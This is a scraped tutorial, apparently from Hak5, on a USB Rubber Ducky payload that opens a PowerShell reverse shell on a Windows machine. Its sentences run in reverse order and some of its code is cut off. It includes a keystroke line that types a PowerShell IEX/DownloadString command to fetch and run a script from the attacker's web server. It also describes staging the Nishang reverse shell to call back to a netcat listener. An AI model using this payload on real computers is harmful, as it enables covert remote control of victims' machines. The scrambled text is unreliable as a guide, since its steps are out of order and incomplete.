

Be sure to change the host and port in the code above to match that of your netcat listener. Host it on your web server as referenced by the ducky script above. There are many more powerful reverse shells as part of the Nishang suite – but this one serves our example well. This powershell TCP one liner from Nishang works great: On our web server we’ll need to host the powershell reverse shell code. This powershell snippet will download and execute whatever other powershell script we host on our web server. This very short USB Rubber Ducky payload simply opens the Windows run dialog, types in a single line of powershell and runs it. See Hak5 episode 2023 for a video tutorial on setting up a free Let’s Encrypt SSL certificate. HTTPS is highly encouraged for the web server. Replace the URL above with the address of your web server where we’ll be hosting the powershell reverse shell script. STRING powershell "IEX (New-Object Net.WebClient).DownloadString(' ENTER For this reason we’ll need to stage the payload – meaning our USB Rubber Ducky payload will download and execute the actual reverse shell Powershell script hosted on our web server. Unfortunately the 1-line reverse shell just over the text field character limit of the Windows run dialog. Nishang, a framework and collection of penetration testing Powershell scripts and payloads, hosts a simple 1-line reverse shell that’ll call back to our netcat listener. Using powershell we can implement a netcat like reverse shell. It’s a lot more sophisticated than the CMD, the old DOS-style command prompt found in nearly every version of Windows.

Powershell was first introduced with Windows XP SP2 and it has since been included by default in Windows since Vista. In this example we’re taking a different approach and rather using Powershell – the advanced Windows command-line shell and scripting language. The 2 kilobyte netcat payload requires around 20 seconds to execute. The later is a novel way of bypassing countermeasures, though typing in a base64 encoded file then converting it into a binary takes considerable time. There are 3 common ways to inject a binary into a system – either by downloading it from the network, copying it over mass storage, or typing the program code right into the computer. Previously we had shown ways of obtaining a reverse shell from a target computer by injecting a netcat binary into the computer. In essence it’s remote control of a computer. When it receives the connection it is then able to execute commands on the victim computer. The attacking computer typically listens on a specific port.

In this tutorial we’ll be setting up a Reverse Shell payload on the USB Rubber Ducky that’ll execute in just 3 seconds.Ī reverse shell is a type of shell where the victim computer calls back to an attacker’s computer.
